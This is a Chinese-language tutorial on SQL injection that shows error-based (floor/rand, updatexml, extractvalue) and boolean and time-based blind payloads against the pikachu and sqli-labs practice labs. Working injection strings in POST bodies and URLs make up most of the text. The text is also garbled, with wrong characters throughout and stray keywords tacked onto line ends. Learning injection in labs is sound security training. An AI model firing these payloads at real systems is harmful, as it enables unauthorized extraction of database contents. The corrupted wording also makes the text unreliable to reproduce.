當進行sql注入時,有不少注入會出無回顯的狀況,其中不回顯的緣由多是sql語句查詢方式的問題致使的,這個時候咱們須要用到相關的報錯或盲注進行後續操做,同時做爲手工注入時,提早了解或預知器sqkl語句大概寫法也能更好的選擇對應的注入語句。php
咱們能夠經過如下查詢方式與網站應用的關係,注入點產生的地方或應用猜想到對方的sql查詢方式。前端
在網站應用中進行數據顯示查詢等操做sql
例如:數據庫
select * from news where id=$id
在網站應用中進行用戶註冊、添加等操做緩存
例如:網站
insert into news(iiiiiiiid,url,text) values(1,'xx','$t')
pikachu靶場操做:url
添加註冊信息:spa
提交抓包:3d
構造payload進行注入:code
username=123' or(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) or '&password=123&sex=%E7%94%B7&phonenum=12345678&email=sichan&add=chengdu&submit=submit
可爆出該網站的數據庫名:
或者:
username=123' or updatexml(1,concat(0x7e,(version())),0) or'&password=123&sex=%E7%94%B7&phonenum=12345678&email=sichan&add=chengdu&submit=submit
再或者:
username=123' or extractvalue(1,concat(0x7e,database())) or'&password=123&sex=%E7%94%B7&phonenum=12345678&email=sichan&add=chengdu&submit=submit
後臺管理裏面刪除文章刪除用戶等操做
例如:
delece from news where id=$id
pikachu靶場操做:
抓包:
構造payload:
/pikachu/vul/sqli/sqli_del.php?id=56+or+(select+1+from(select+count(*),concat(floor(rand(0)*2),0x7e,(database()),0x7e)x+from+information_schema.character_sets+group+by+x)a)
或者:
/pikachu/vul/sqli/sqli_del.php?id=56+or+updatexml+(1,concat(0x7e,database()),0)
或者:
/pikachu/vul/sqli/sqli_del.php?id=56+or+extractvalue(1,concat(0x7e,database()))
會員或後臺中心數據同步或緩存等操做
例如:
update user set pwd='$id' where id=2 and username='admin'
pikachu靶場操做:
登陸後修改我的信息,提交時抓包:
構造payload:
sex=%E7%94%B7&phonenum=12345678&add=sichuan' or(select 1 from(select count(*),concat( floor(rand(0)*2),0x7e,(database()),0x7e)x from information_schema.character_sets group by x)a) or '&email=sss.com&submit=submit
或者:
sex=%E7%94%B7&phonenum=12345678&add=sichuan' or updatexml(1,concat(0x7e,(version())),0) or'&email=sss.com&submit=submit
或者:
sex=%E7%94%B7&phonenum=12345678&add=sichuan' or extractvalue(1,concat(0x7e,user())) or'&email=sss.com&submit=submit
通常結合表格或列名進行數據排序操做
例如:
select * from news order by $id select id,name,price from news orer by $order
盲注就是在注入過程當中,獲取數據不能回顯至前端頁面。此時,咱們須要 利用一些方法進行判斷或者嘗試,這個方法稱之爲盲注。
like 'ro%' #判斷ro或ro·····是否成立 regexp '^xx[a-z]' #匹配xx及xx····等 if(條件,5,0) #條件成立返回5,不然返回0 sleep(5) #SQL語句延時5秒後執行 mid(a,b,c) #從位置b開始,截取a字符串的c位 substr(a,b,c) #從b位置開始,截取字符串a的c長度 left(database(),1),database() #left(a,b)從左側截取a的前b位 length(database())=8 #判斷數據庫database()名的長度 ord=ascii ascii(x)=97 #判斷x的ascii碼是否等於97
咱們能夠講盲注分爲如下三類:
regexp,like,ascii,ord,mid
sqlilabs靶場第5關演示
http://127.0.0.1/sqli-labs/Less-5/?id=1' and left(version(),1)=5 --+
猜想數據庫版本的第一位爲5,正確不報錯
if,sleep
sqlilabs靶場第2關演示
http://127.0.0.1/sqli-labs/Less-2/?id=1 and sleep(if(database()='security',5,0)) --+
提交後5秒後返回:
猜想數據庫名長度:
http://127.0.0.1/sqli-labs/Less-2/?id=1 and sleep(if(length(database())=8,5,0)) --+
floor,updatexml,extractvalue
演示見上面的pikachu靶場